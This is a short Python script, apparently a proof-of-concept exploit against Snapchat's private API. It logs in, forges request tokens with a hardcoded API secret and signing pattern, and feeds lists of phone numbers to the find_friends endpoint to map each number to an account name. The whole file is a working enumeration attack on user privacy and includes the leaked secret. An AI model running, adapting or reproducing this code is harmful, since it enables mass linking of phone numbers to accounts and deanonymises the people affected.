#!/usr/bin/env python2
# python2 find_friends.py $username $password < numbers.txt > results.txt
import requests
import hashlib
import json
import sys
def request_token(auth_token, timestamp):
secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk"
pattern = "0001110111101110001111010101111011010001001110011000110001000110"
first = hashlib.sha256(secret + auth_token).hexdigest()
second = hashlib.sha256(str(timestamp) + secret).hexdigest()
bits = [first[i] if c == "0" else second[i] for i, c in enumerate(pattern)]
return "".join(bits)
numbers = sys.stdin.read().split("\n")
base = "https://feelinsonice.appspot.com"
r = requests.post(base + "/bq/login", data={
# These are hardcoded, just because it's easy.
"req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",
"timestamp": 1373209025,
"username": sys.argv[1],
"password": sys.argv[2]
}, headers={"User-agent": None})
auth_token, username = r.json()["auth_token"], r.json()["username"]
# We can hardcode these as well.
static = {"req_token": request_token(auth_token, 1373209025), "countryCode": "US", "timestamp": 1373209025, "username": username}
for number in numbers:
n = json.dumps({number: "J. R. Hacker"})
r = requests.post(base + "/ph/find_friends", data=dict(static, numbers=n), headers={"User-agent": None}).json()
if len(r["results"]) < 1:
continue
sys.stdout.write("{0} -> {1}\n".format(number, r["results"][0]["name"]))
sys.stdout.flush()